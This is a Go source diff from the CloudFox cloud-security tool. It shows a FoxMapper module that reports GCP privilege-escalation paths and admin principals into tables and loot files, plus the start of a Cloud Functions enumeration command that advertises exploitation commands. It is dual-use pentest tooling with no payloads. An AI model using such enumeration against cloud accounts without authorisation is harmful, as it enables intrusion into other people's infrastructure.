folderID := strings.TrimPrefix(resource, "folders/")
|
||||
privescAdminLevel = fmt.Sprintf("Folder: %s", folderID)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if privescAdminLevel == "-" {
|
||||
privescAdminLevel = "Folder"
|
||||
}
|
||||
case "project":
|
||||
// Try to get the project ID from the destination node or principal
|
||||
if destNode != nil && destNode.ProjectID != "" {
|
||||
privescAdminLevel = fmt.Sprintf("Project: %s", destNode.ProjectID)
|
||||
} else {
|
||||
destProject := extractProjectFromPrincipal(bestPath.Destination, m.OrgCache)
|
||||
if destProject != "" {
|
||||
privescAdminLevel = fmt.Sprintf("Project: %s", destProject)
|
||||
} else {
|
||||
privescAdminLevel = "Project"
|
||||
}
|
||||
}
|
||||
default:
|
||||
if bestPath.AdminLevel != "" {
|
||||
privescAdminLevel = bestPath.AdminLevel
|
||||
}
|
||||
}
|
||||
}
|
||||
mainBody = append(mainBody, []string{
|
||||
node.ProjectID,
|
||||
node.MemberType,
|
||||
node.Email,
|
||||
"No",
|
||||
"-",
|
||||
privescTo,
|
||||
privescAdminLevel,
|
||||
shortestPath,
|
||||
confidence,
|
||||
})
|
||||
}
|
||||
|
||||
output.Table = append(output.Table, internal.TableFile{
|
||||
Header: mainHeader,
|
||||
Body: mainBody,
|
||||
Name: "foxmapper",
|
||||
})
|
||||
|
||||
// Loot file - summary
|
||||
lootContent := m.generateLootContentForProject(projectID, fm, admins, nodesWithPrivesc, summary)
|
||||
output.Loot = append(output.Loot, internal.LootFile{
|
||||
Name: "foxmapper",
|
||||
Contents: lootContent,
|
||||
})
|
||||
|
||||
// Loot file - detailed paths (paths go to loot only, not table/csv/json)
|
||||
pathsLootContent := m.generatePathsLootContentForProject(projectID, fm, nodesWithPrivesc)
|
||||
output.Loot = append(output.Loot, internal.LootFile{
|
||||
Name: "foxmapper-paths",
|
||||
Contents: pathsLootContent,
|
||||
})
|
||||
|
||||
return output
|
||||
}
|
||||
|
||||
// generatePathsLootContentForProject generates detailed paths loot for a specific project
|
||||
func (m *FoxMapperModule) generatePathsLootContentForProject(projectID string, fm *foxmapperservice.FoxMapperService, nodesWithPrivesc []*foxmapperservice.Node) string {
|
||||
var sb strings.Builder
|
||||
|
||||
sb.WriteString("# FoxMapper Privilege Escalation Paths\n")
|
||||
sb.WriteString(fmt.Sprintf("# Project: %s\n", projectID))
|
||||
sb.WriteString(fmt.Sprintf("# Total paths: %d principals with escalation paths\n\n", len(nodesWithPrivesc)))
|
||||
|
||||
for _, node := range nodesWithPrivesc {
|
||||
paths := fm.GetPrivescPaths(node.Email)
|
||||
if len(paths) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
sb.WriteString(fmt.Sprintf("================================================================================\n"))
|
||||
sb.WriteString(fmt.Sprintf("SOURCE: %s (%s)\n", node.Email, node.MemberType))
|
||||
sb.WriteString(fmt.Sprintf("Project: %s\n", node.ProjectID))
|
||||
sb.WriteString(fmt.Sprintf("Escalation paths: %d\n", len(paths)))
|
||||
sb.WriteString(fmt.Sprintf("================================================================================\n\n"))
|
||||
|
||||
for pathIdx, path := range paths {
|
||||
scopeStatus := ""
|
||||
if path.ScopeBlocked {
|
||||
scopeStatus = " [SCOPE-BLOCKED]"
|
||||
}
|
||||
confidenceStatus := ""
|
||||
if path.Confidence != "" && path.Confidence != "high" {
|
||||
confidenceStatus = fmt.Sprintf(" [%s confidence]", path.Confidence)
|
||||
}
|
||||
|
||||
sb.WriteString(fmt.Sprintf("--- Path %d: %s → %s (%s admin, %d hops)%s%s ---\n\n",
|
||||
pathIdx+1, path.Source, path.Destination, path.AdminLevel, path.HopCount, scopeStatus, confidenceStatus))
|
||||
|
||||
// Show the path as a visual chain
|
||||
sb.WriteString(fmt.Sprintf(" %s\n", path.Source))
|
||||
for i, edge := range path.Edges {
|
||||
sb.WriteString(" │\n")
|
||||
|
||||
annotations := ""
|
||||
if edge.ScopeBlocksEscalation {
|
||||
annotations = " ⚠️ BLOCKED BY OAUTH SCOPE"
|
||||
} else if edge.ScopeLimited {
|
||||
annotations = " ⚠️ scope-limited"
|
||||
}
|
||||
edgeConf := edge.EffectiveConfidence()
|
||||
if edgeConf != "high" {
|
||||
annotations += fmt.Sprintf(" [%s confidence]", edgeConf)
|
||||
}
|
||||
|
||||
sb.WriteString(fmt.Sprintf(" ├── [%d] %s%s\n", i+1, edge.ShortReason, annotations))
|
||||
|
||||
if edge.Resource != "" {
|
||||
sb.WriteString(fmt.Sprintf(" │ Resource: %s\n", edge.Resource))
|
||||
}
|
||||
|
||||
if edge.Reason != "" && edge.Reason != edge.ShortReason {
|
||||
reason := edge.Reason
|
||||
if len(reason) > 80 {
|
||||
sb.WriteString(fmt.Sprintf(" │ %s\n", reason[:80]))
|
||||
sb.WriteString(fmt.Sprintf(" │ %s\n", reason[80:]))
|
||||
} else {
|
||||
sb.WriteString(fmt.Sprintf(" │ %s\n", reason))
|
||||
}
|
||||
}
|
||||
|
||||
if i < len(path.Edges)-1 {
|
||||
sb.WriteString(fmt.Sprintf(" │\n"))
|
||||
sb.WriteString(fmt.Sprintf(" ▼\n"))
|
||||
sb.WriteString(fmt.Sprintf(" %s\n", edge.Destination))
|
||||
} else {
|
||||
sb.WriteString(fmt.Sprintf(" │\n"))
|
||||
sb.WriteString(fmt.Sprintf(" └──▶ %s (ADMIN)\n", edge.Destination))
|
||||
}
|
||||
}
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
// generateLootContentForProject generates loot content for a specific project
|
||||
func (m *FoxMapperModule) generateLootContentForProject(projectID string, fm *foxmapperservice.FoxMapperService, admins []*foxmapperservice.Node, nodesWithPrivesc []*foxmapperservice.Node, summary map[string]interface{}) string {
|
||||
var sb strings.Builder
|
||||
|
||||
sb.WriteString("=== FoxMapper Privilege Escalation Analysis ===\n\n")
|
||||
sb.WriteString(fmt.Sprintf("Project: %s\n", projectID))
|
||||
sb.WriteString(fmt.Sprintf("Total Nodes: %d\n", summary["total_nodes"]))
|
||||
sb.WriteString(fmt.Sprintf("Admin Nodes: %d\n", summary["admin_nodes"]))
|
||||
sb.WriteString(fmt.Sprintf("Nodes with Privesc: %d\n", summary["nodes_with_privesc"]))
|
||||
sb.WriteString(fmt.Sprintf("Percent with Privesc: %.1f%%\n\n", summary["percent_with_privesc"]))
|
||||
|
||||
// Admin breakdown
|
||||
sb.WriteString("=== Admin Breakdown ===\n")
|
||||
sb.WriteString(fmt.Sprintf(" Organization Admins: %d\n", summary["org_admins"]))
|
||||
sb.WriteString(fmt.Sprintf(" Folder Admins: %d\n", summary["folder_admins"]))
|
||||
sb.WriteString(fmt.Sprintf(" Project Admins: %d\n\n", summary["project_admins"]))
|
||||
|
||||
// List admins
|
||||
sb.WriteString("=== Admin Principals ===\n")
|
||||
for _, admin := range admins {
|
||||
adminLevel := admin.AdminLevel
|
||||
if adminLevel == "" {
|
||||
adminLevel = "project"
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("ADMIN (%s): %s\n", adminLevel, admin.Email))
|
||||
}
|
||||
sb.WriteString("\n")
|
||||
|
||||
// List privesc paths
|
||||
sb.WriteString("=== Privilege Escalation Paths ===\n\n")
|
||||
for _, node := range nodesWithPrivesc {
|
||||
paths := fm.GetPrivescPaths(node.Email)
|
||||
for _, path := range paths {
|
||||
sb.WriteString(fmt.Sprintf("PATH TO %s ADMIN FOUND\n", strings.ToUpper(path.AdminLevel)))
|
||||
sb.WriteString(fmt.Sprintf(" Start: %s\n", path.Source))
|
||||
sb.WriteString(fmt.Sprintf(" End: %s\n", path.Destination))
|
||||
sb.WriteString(fmt.Sprintf(" Hops: %d\n", path.HopCount))
|
||||
if path.Confidence != "" && path.Confidence != "high" {
|
||||
sb.WriteString(fmt.Sprintf(" Confidence: %s\n", path.Confidence))
|
||||
}
|
||||
if path.ScopeBlocked {
|
||||
sb.WriteString(" WARNING: Path may be blocked by OAuth scopes\n")
|
||||
}
|
||||
sb.WriteString(" Path:\n")
|
||||
for i, edge := range path.Edges {
|
||||
annotations := ""
|
||||
if edge.ScopeBlocksEscalation {
|
||||
annotations = " [BLOCKED BY SCOPE]"
|
||||
} else if edge.ScopeLimited {
|
||||
annotations = " [scope-limited]"
|
||||
}
|
||||
edgeConf := edge.EffectiveConfidence()
|
||||
if edgeConf != "high" {
|
||||
annotations += fmt.Sprintf(" [%s confidence]", edgeConf)
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf(" (%d) %s%s\n", i+1, edge.Reason, annotations))
|
||||
}
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
}
|
||||
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
// printProjectSummary prints a summary for a single project
|
||||
func (m *FoxMapperModule) printProjectSummary(logger internal.Logger, projectID string, summary map[string]interface{}) {
|
||||
totalNodes, _ := summary["total_nodes"].(int)
|
||||
adminNodes, _ := summary["admin_nodes"].(int)
|
||||
nodesWithPrivesc, _ := summary["nodes_with_privesc"].(int)
|
||||
|
||||
logger.InfoM(fmt.Sprintf("[%s] %d principals, %d admins, %d with privesc path",
|
||||
projectID, totalNodes, adminNodes, nodesWithPrivesc), "foxmapper")
|
||||
}
|
||||
|
||||
func (m *FoxMapperModule) generateOutput(logger internal.Logger, identifier string) FoxMapperOutput {
|
||||
var output FoxMapperOutput
|
||||
|
||||
// Main table: principals with admin or path to admin
|
||||
// Read left to right: Project -> Type -> Principal -> Admin Status -> Privesc Target -> Privesc Admin Level -> Hops
|
||||
mainHeader := []string{"Project", "Type", "Principal", "Is Admin", "Admin Level", "Privesc To", "Privesc Admin Level", "Hops", "Confidence"}
|
||||
var mainBody [][]string
|
||||
|
||||
// First add admins
|
||||
for _, admin := range m.Admins {
|
||||
adminLevel := admin.AdminLevel
|
||||
if adminLevel == "" {
|
||||
adminLevel = "project"
|
||||
}
|
||||
mainBody = append(mainBody, []string{
|
||||
admin.ProjectID,
|
||||
admin.MemberType,
|
||||
admin.Email,
|
||||
"Yes",
|
||||
adminLevel,
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
|
||||
// Then add nodes with privesc paths
|
||||
for _, node := range m.NodesWithPrivesc {
|
||||
paths := m.FoxMapper.GetPrivescPaths(node.Email)
|
||||
shortestPath := "-"
|
||||
privescTo := "-"
|
||||
privescAdminLevel := "-"
|
||||
confidence := "-"
|
||||
if len(paths) > 0 {
|
||||
bestPath := paths[0]
|
||||
shortestPath = strconv.Itoa(bestPath.HopCount)
|
||||
// Get the destination (admin) from the best path
|
||||
privescTo = bestPath.Destination
|
||||
// Clean up the display
|
||||
if strings.HasPrefix(privescTo, "serviceAccount:") {
|
||||
privescTo = strings.TrimPrefix(privescTo, "serviceAccount:")
|
||||
} else if strings.HasPrefix(privescTo, "user:") {
|
||||
privescTo = strings.TrimPrefix(privescTo, "user:")
|
||||
}
|
||||
|
||||
// Confidence from the best path
|
||||
confidence = bestPath.Confidence
|
||||
if confidence == "" {
|
||||
confidence = "high"
|
||||
}
|
||||
|
||||
// Format privesc admin level
|
||||
destNode := m.FoxMapper.GetNode(bestPath.Destination)
|
||||
switch bestPath.AdminLevel {
|
||||
case "org":
|
||||
privescAdminLevel = "Org"
|
||||
case "folder":
|
||||
// Try to extract folder from the destination node's IAM bindings
|
||||
if destNode != nil && len(destNode.IAMBindings) > 0 {
|
||||
for _, binding := range destNode.IAMBindings {
|
||||
if resource, ok := binding["resource"].(string); ok {
|
||||
if strings.HasPrefix(resource, "folders/") {
|
||||
folderID := strings.TrimPrefix(resource, "folders/")
|
||||
privescAdminLevel = fmt.Sprintf("Folder: %s", folderID)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if privescAdminLevel == "-" {
|
||||
privescAdminLevel = "Folder"
|
||||
}
|
||||
case "project":
|
||||
// Try to get the project ID from the destination node or principal
|
||||
if destNode != nil && destNode.ProjectID != "" {
|
||||
privescAdminLevel = fmt.Sprintf("Project: %s", destNode.ProjectID)
|
||||
} else {
|
||||
destProject := extractProjectFromPrincipal(bestPath.Destination, m.OrgCache)
|
||||
if destProject != "" {
|
||||
privescAdminLevel = fmt.Sprintf("Project: %s", destProject)
|
||||
} else {
|
||||
privescAdminLevel = "Project"
|
||||
}
|
||||
}
|
||||
default:
|
||||
if bestPath.AdminLevel != "" {
|
||||
privescAdminLevel = bestPath.AdminLevel
|
||||
}
|
||||
}
|
||||
}
|
||||
mainBody = append(mainBody, []string{
|
||||
node.ProjectID,
|
||||
node.MemberType,
|
||||
node.Email,
|
||||
"No",
|
||||
"-",
|
||||
privescTo,
|
||||
privescAdminLevel,
|
||||
shortestPath,
|
||||
confidence,
|
||||
})
|
||||
}
|
||||
|
||||
output.Table = append(output.Table, internal.TableFile{
|
||||
Header: mainHeader,
|
||||
Body: mainBody,
|
||||
Name: "foxmapper",
|
||||
})
|
||||
|
||||
// Detailed paths loot file with full exploitation steps (paths go to loot only, not table/csv/json)
|
||||
pathsLootContent := m.generatePathsLootContent(identifier)
|
||||
output.Loot = append(output.Loot, internal.LootFile{
|
||||
Name: "foxmapper-paths",
|
||||
Contents: pathsLootContent,
|
||||
})
|
||||
|
||||
// Loot file with full details
|
||||
lootContent := m.generateLootContent(identifier)
|
||||
output.Loot = append(output.Loot, internal.LootFile{
|
||||
Name: "foxmapper",
|
||||
Contents: lootContent,
|
||||
})
|
||||
|
||||
return output
|
||||
}
|
||||
|
||||
func (m *FoxMapperModule) generatePathsLootContent(identifier string) string {
|
||||
var sb strings.Builder
|
||||
|
||||
sb.WriteString("# FoxMapper Privilege Escalation Paths\n")
|
||||
sb.WriteString(fmt.Sprintf("# Identifier: %s\n", identifier))
|
||||
sb.WriteString(fmt.Sprintf("# Total paths: %d principals with escalation paths\n\n", len(m.NodesWithPrivesc)))
|
||||
|
||||
for _, node := range m.NodesWithPrivesc {
|
||||
paths := m.FoxMapper.GetPrivescPaths(node.Email)
|
||||
if len(paths) == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
sb.WriteString(fmt.Sprintf("================================================================================\n"))
|
||||
sb.WriteString(fmt.Sprintf("SOURCE: %s (%s)\n", node.Email, node.MemberType))
|
||||
sb.WriteString(fmt.Sprintf("Project: %s\n", node.ProjectID))
|
||||
sb.WriteString(fmt.Sprintf("Escalation paths: %d\n", len(paths)))
|
||||
sb.WriteString(fmt.Sprintf("================================================================================\n\n"))
|
||||
|
||||
for pathIdx, path := range paths {
|
||||
scopeStatus := ""
|
||||
if path.ScopeBlocked {
|
||||
scopeStatus = " [SCOPE-BLOCKED]"
|
||||
}
|
||||
|
||||
sb.WriteString(fmt.Sprintf("--- Path %d: %s → %s (%s admin, %d hops)%s ---\n\n",
|
||||
pathIdx+1, path.Source, path.Destination, path.AdminLevel, path.HopCount, scopeStatus))
|
||||
|
||||
// Show the path as a visual chain
|
||||
sb.WriteString(fmt.Sprintf(" %s\n", path.Source))
|
||||
for i, edge := range path.Edges {
|
||||
// Connector
|
||||
if i < len(path.Edges)-1 {
|
||||
sb.WriteString(" │\n")
|
||||
} else {
|
||||
sb.WriteString(" │\n")
|
||||
}
|
||||
|
||||
// Scope warning
|
||||
scopeWarning := ""
|
||||
if edge.ScopeBlocksEscalation {
|
||||
scopeWarning = " ⚠️ BLOCKED BY OAUTH SCOPE"
|
||||
} else if edge.ScopeLimited {
|
||||
scopeWarning = " ⚠️ scope-limited"
|
||||
}
|
||||
|
||||
// The technique/reason
|
||||
sb.WriteString(fmt.Sprintf(" ├── [%d] %s%s\n", i+1, edge.ShortReason, scopeWarning))
|
||||
|
||||
// Resource if available
|
||||
if edge.Resource != "" {
|
||||
sb.WriteString(fmt.Sprintf(" │ Resource: %s\n", edge.Resource))
|
||||
}
|
||||
|
||||
// Full reason/description
|
||||
if edge.Reason != "" && edge.Reason != edge.ShortReason {
|
||||
// Wrap long reasons
|
||||
reason := edge.Reason
|
||||
if len(reason) > 80 {
|
||||
sb.WriteString(fmt.Sprintf(" │ %s\n", reason[:80]))
|
||||
sb.WriteString(fmt.Sprintf(" │ %s\n", reason[80:]))
|
||||
} else {
|
||||
sb.WriteString(fmt.Sprintf(" │ %s\n", reason))
|
||||
}
|
||||
}
|
||||
|
||||
// Show destination after this hop
|
||||
if i < len(path.Edges)-1 {
|
||||
sb.WriteString(fmt.Sprintf(" │\n"))
|
||||
sb.WriteString(fmt.Sprintf(" ▼\n"))
|
||||
sb.WriteString(fmt.Sprintf(" %s\n", edge.Destination))
|
||||
} else {
|
||||
sb.WriteString(fmt.Sprintf(" │\n"))
|
||||
sb.WriteString(fmt.Sprintf(" └──▶ %s (ADMIN)\n", edge.Destination))
|
||||
}
|
||||
}
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
func (m *FoxMapperModule) generateLootContent(identifier string) string {
|
||||
var sb strings.Builder
|
||||
|
||||
sb.WriteString("=== FoxMapper Privilege Escalation Analysis ===\n\n")
|
||||
sb.WriteString(fmt.Sprintf("Identifier: %s\n", identifier))
|
||||
sb.WriteString(fmt.Sprintf("Total Nodes: %d\n", m.Summary["total_nodes"]))
|
||||
sb.WriteString(fmt.Sprintf("Admin Nodes: %d\n", m.Summary["admin_nodes"]))
|
||||
sb.WriteString(fmt.Sprintf("Nodes with Privesc: %d\n", m.Summary["nodes_with_privesc"]))
|
||||
sb.WriteString(fmt.Sprintf("Percent with Privesc: %.1f%%\n\n", m.Summary["percent_with_privesc"]))
|
||||
|
||||
// Admin breakdown
|
||||
sb.WriteString("=== Admin Breakdown ===\n")
|
||||
sb.WriteString(fmt.Sprintf(" Organization Admins: %d\n", m.Summary["org_admins"]))
|
||||
sb.WriteString(fmt.Sprintf(" Folder Admins: %d\n", m.Summary["folder_admins"]))
|
||||
sb.WriteString(fmt.Sprintf(" Project Admins: %d\n\n", m.Summary["project_admins"]))
|
||||
|
||||
// List admins
|
||||
sb.WriteString("=== Admin Principals ===\n")
|
||||
for _, admin := range m.Admins {
|
||||
adminLevel := admin.AdminLevel
|
||||
if adminLevel == "" {
|
||||
adminLevel = "project"
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("ADMIN (%s): %s\n", adminLevel, admin.Email))
|
||||
}
|
||||
sb.WriteString("\n")
|
||||
|
||||
// List privesc paths
|
||||
sb.WriteString("=== Privilege Escalation Paths ===\n\n")
|
||||
for _, node := range m.NodesWithPrivesc {
|
||||
paths := m.FoxMapper.GetPrivescPaths(node.Email)
|
||||
for _, path := range paths {
|
||||
sb.WriteString(fmt.Sprintf("PATH TO %s ADMIN FOUND\n", strings.ToUpper(path.AdminLevel)))
|
||||
sb.WriteString(fmt.Sprintf(" Start: %s\n", path.Source))
|
||||
sb.WriteString(fmt.Sprintf(" End: %s\n", path.Destination))
|
||||
sb.WriteString(fmt.Sprintf(" Hops: %d\n", path.HopCount))
|
||||
if path.Confidence != "" && path.Confidence != "high" {
|
||||
sb.WriteString(fmt.Sprintf(" Confidence: %s\n", path.Confidence))
|
||||
}
|
||||
if path.ScopeBlocked {
|
||||
sb.WriteString(" WARNING: Path may be blocked by OAuth scopes\n")
|
||||
}
|
||||
sb.WriteString(" Path:\n")
|
||||
for i, edge := range path.Edges {
|
||||
annotations := ""
|
||||
if edge.ScopeBlocksEscalation {
|
||||
annotations = " [BLOCKED BY SCOPE]"
|
||||
} else if edge.ScopeLimited {
|
||||
annotations = " [scope-limited]"
|
||||
}
|
||||
edgeConf := edge.EffectiveConfidence()
|
||||
if edgeConf != "high" {
|
||||
annotations += fmt.Sprintf(" [%s confidence]", edgeConf)
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf(" (%d) %s%s\n", i+1, edge.Reason, annotations))
|
||||
}
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
}
|
||||
|
||||
return sb.String()
|
||||
}
|
||||
|
||||
func (m *FoxMapperModule) printSummary(logger internal.Logger, identifier string) {
|
||||
totalNodes, _ := m.Summary["total_nodes"].(int)
|
||||
adminNodes, _ := m.Summary["admin_nodes"].(int)
|
||||
nodesWithPrivesc, _ := m.Summary["nodes_with_privesc"].(int)
|
||||
|
||||
logger.InfoM(fmt.Sprintf("Analysis complete for: %s", identifier), "foxmapper")
|
||||
logger.InfoM(fmt.Sprintf("Total principals: %d", totalNodes), "foxmapper")
|
||||
logger.InfoM(fmt.Sprintf("Admin principals: %d", adminNodes), "foxmapper")
|
||||
logger.InfoM(fmt.Sprintf("Principals with path to admin: %d", nodesWithPrivesc), "foxmapper")
|
||||
|
||||
if nodesWithPrivesc > 0 {
|
||||
percent, _ := m.Summary["percent_with_privesc"].(float64)
|
||||
logger.InfoM(fmt.Sprintf("Percent with privesc: %.1f%%", percent), "foxmapper")
|
||||
}
|
||||
|
||||
// Output file location
|
||||
outputDir := filepath.Join(m.OutputDirectory, "cloudfox-output", "gcp", m.Account)
|
||||
logger.InfoM(fmt.Sprintf("Output written to: %s", outputDir), "foxmapper")
|
||||
logger.InfoM("For detailed paths, see the loot file: foxmapper.txt", "foxmapper")
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// FoxMapper Cache for use by other modules
|
||||
// ============================================================================
|
||||
|
||||
// FoxMapperCache wraps FoxMapperService for use by other modules
|
||||
type FoxMapperCache struct {
|
||||
service *foxmapperservice.FoxMapperService
|
||||
populated bool
|
||||
identifier string
|
||||
}
|
||||
|
||||
// NewFoxMapperCache creates a new FoxMapper cache
|
||||
func NewFoxMapperCache() *FoxMapperCache {
|
||||
return &FoxMapperCache{
|
||||
service: foxmapperservice.New(),
|
||||
}
|
||||
}
|
||||
|
||||
// LoadFromOrg loads FoxMapper data for an organization
|
||||
func (c *FoxMapperCache) LoadFromOrg(orgID string) error {
|
||||
err := c.service.LoadGraph(orgID, true)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
c.populated = true
|
||||
c.identifier = orgID
|
||||
return nil
|
||||
}
|
||||
|
||||
// LoadFromProject loads FoxMapper data for a project
|
||||
func (c *FoxMapperCache) LoadFromProject(projectID string) error {
|
||||
err := c.service.LoadGraph(projectID, false)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
c.populated = true
|
||||
c.identifier = projectID
|
||||
return nil
|
||||
}
|
||||
|
||||
// LoadFromPath loads FoxMapper data from a custom path
|
||||
func (c *FoxMapperCache) LoadFromPath(path string) error {
|
||||
err := c.service.LoadGraphFromPath(path)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
c.populated = true
|
||||
c.identifier = path
|
||||
return nil
|
||||
}
|
||||
|
||||
// TryLoad attempts to load FoxMapper data, trying org first then project
|
||||
func (c *FoxMapperCache) TryLoad(orgID, projectID string) error {
|
||||
// Try org first
|
||||
if orgID != "" {
|
||||
if err := c.LoadFromOrg(orgID); err == nil {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
// Try project
|
||||
if projectID != "" {
|
||||
if err := c.LoadFromProject(projectID); err == nil {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return fmt.Errorf("could not load FoxMapper data for org %s or project %s", orgID, projectID)
|
||||
}
|
||||
|
||||
// IsPopulated returns whether the cache has data
|
||||
func (c *FoxMapperCache) IsPopulated() bool {
|
||||
return c.populated
|
||||
}
|
||||
|
||||
// GetAttackSummary returns attack path summary for a principal
|
||||
func (c *FoxMapperCache) GetAttackSummary(principal string) string {
|
||||
if !c.populated {
|
||||
return "run foxmapper"
|
||||
}
|
||||
return c.service.GetAttackSummary(principal)
|
||||
}
|
||||
|
||||
// DoesPrincipalHavePathToAdmin checks if principal can escalate
|
||||
func (c *FoxMapperCache) DoesPrincipalHavePathToAdmin(principal string) bool {
|
||||
if !c.populated {
|
||||
return false
|
||||
}
|
||||
return c.service.DoesPrincipalHavePathToAdmin(principal)
|
||||
}
|
||||
|
||||
// IsPrincipalAdmin checks if principal is admin
|
||||
func (c *FoxMapperCache) IsPrincipalAdmin(principal string) bool {
|
||||
if !c.populated {
|
||||
return false
|
||||
}
|
||||
return c.service.IsPrincipalAdmin(principal)
|
||||
}
|
||||
|
||||
// GetPrivescPaths returns privesc paths for a principal
|
||||
func (c *FoxMapperCache) GetPrivescPaths(principal string) []foxmapperservice.PrivescPath {
|
||||
if !c.populated {
|
||||
return nil
|
||||
}
|
||||
return c.service.GetPrivescPaths(principal)
|
||||
}
|
||||
|
||||
// GetService returns the underlying FoxMapper service
|
||||
func (c *FoxMapperCache) GetService() *foxmapperservice.FoxMapperService {
|
||||
return c.service
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Helper to find and load FoxMapper data
|
||||
// ============================================================================
|
||||
|
||||
// FindAndLoadFoxMapper attempts to find and load FoxMapper data
|
||||
// Returns the loaded cache or nil if not found
|
||||
func FindAndLoadFoxMapper(orgID string, projectIDs []string, logger internal.Logger) *FoxMapperCache {
|
||||
cache := NewFoxMapperCache()
|
||||
|
||||
// Try org first
|
||||
if orgID != "" {
|
||||
if err := cache.LoadFromOrg(orgID); err == nil {
|
||||
logger.InfoM(fmt.Sprintf("Loaded FoxMapper data for org: %s", orgID), "foxmapper")
|
||||
return cache
|
||||
}
|
||||
}
|
||||
|
||||
// Try each project
|
||||
for _, projectID := range projectIDs {
|
||||
if err := cache.LoadFromProject(projectID); err == nil {
|
||||
logger.InfoM(fmt.Sprintf("Loaded FoxMapper data for project: %s", projectID), "foxmapper")
|
||||
return cache
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// SortNodesByPrivesc sorts nodes by privesc capability for display
|
||||
func SortNodesByPrivesc(nodes []*foxmapperservice.Node) {
|
||||
sort.Slice(nodes, func(i, j int) bool {
|
||||
// Admins first
|
||||
if nodes[i].IsAdmin && !nodes[j].IsAdmin {
|
||||
return true
|
||||
}
|
||||
if !nodes[i].IsAdmin && nodes[j].IsAdmin {
|
||||
return false
|
||||
}
|
||||
// Then by admin level (org > folder > project)
|
||||
levelOrder := map[string]int{"org": 0, "folder": 1, "project": 2, "": 3}
|
||||
if nodes[i].AdminLevel != nodes[j].AdminLevel {
|
||||
return levelOrder[nodes[i].AdminLevel] < levelOrder[nodes[j].AdminLevel]
|
||||
}
|
||||
// Then by email
|
||||
return nodes[i].Email < nodes[j].Email
|
||||
})
|
||||
}
|
||||
Executable
+622
@@ -0,0 +1,622 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
"github.com/BishopFox/cloudfox/gcp/shared"
|
||||
|
||||
FunctionsService "github.com/BishopFox/cloudfox/gcp/services/functionsService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPFunctionsCommand = &cobra.Command{
|
||||
Use: globals.GCP_FUNCTIONS_MODULE_NAME,
|
||||
Aliases: []string{"function", "gcf", "cloud-functions"},
|
||||
Short: "Enumerate GCP Cloud Functions with security analysis",
|
||||
Long: `Enumerate GCP Cloud Functions across projects with security-relevant details.
|
||||
|
||||
Features:
|
||||
- Lists all Cloud Functions (Gen 2) accessible to the authenticated user
|
||||
- Shows security configuration (ingress settings, VPC connector, service account)
|
||||
- Identifies publicly invokable functions (allUsers/allAuthenticatedUsers)
|
||||
- Shows runtime, trigger type, and trigger configuration
|
||||
- Counts environment variables and secret references
|
||||
- Generates gcloud commands for further enumeration and exploitation
|
||||
|
||||
Security Columns:
|
||||
- Ingress: ALL_TRAFFIC (public), INTERNAL_ONLY, or INTERNAL_AND_GCLB
|
||||
- Public: Whether allUsers or allAuthenticatedUsers can invoke the function
|
||||
- ServiceAccount: The identity the function runs as (privilege level)
|
||||
- VPCConnector: Network connectivity to VPC resources
|
||||
- Secrets: Count of secret environment variables and volumes
|
||||
|
||||
Resource IAM Columns:
|
||||
- IAM Binding Role: The IAM role granted ON this function (e.g., roles/cloudfunctions.invoker)
|
||||
- IAM Binding Principal: The principal (user/SA/group) who has that role on this function
|
||||
|
||||
Attack Surface:
|
||||
- Public HTTP functions may be directly exploitable
|
||||
- Functions with default service account may have excessive permissions
|
||||
- Functions with VPC connectors can access internal resources
|
||||
- Event triggers reveal integration points (Pub/Sub, Storage, etc.)
|
||||
|
||||
TIP: Run foxmapper first to populate the Attack Paths column with privesc/exfil/lateral movement analysis.`,
|
||||
Run: runGCPFunctionsCommand,
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Module Struct
|
||||
// ------------------------------
|
||||
type FunctionsModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
|
||||
// Module-specific fields - per-project for hierarchical output
|
||||
ProjectFunctions map[string][]FunctionsService.FunctionInfo // projectID -> functions
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
FoxMapperCache *gcpinternal.FoxMapperCache // FoxMapper graph data (preferred)
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
// ------------------------------
|
||||
// Output Struct
|
||||
// ------------------------------
|
||||
type FunctionsOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o FunctionsOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o FunctionsOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
// ------------------------------
|
||||
// Command Entry Point
|
||||
// ------------------------------
|
||||
func runGCPFunctionsCommand(cmd *cobra.Command, args []string) {
|
||||
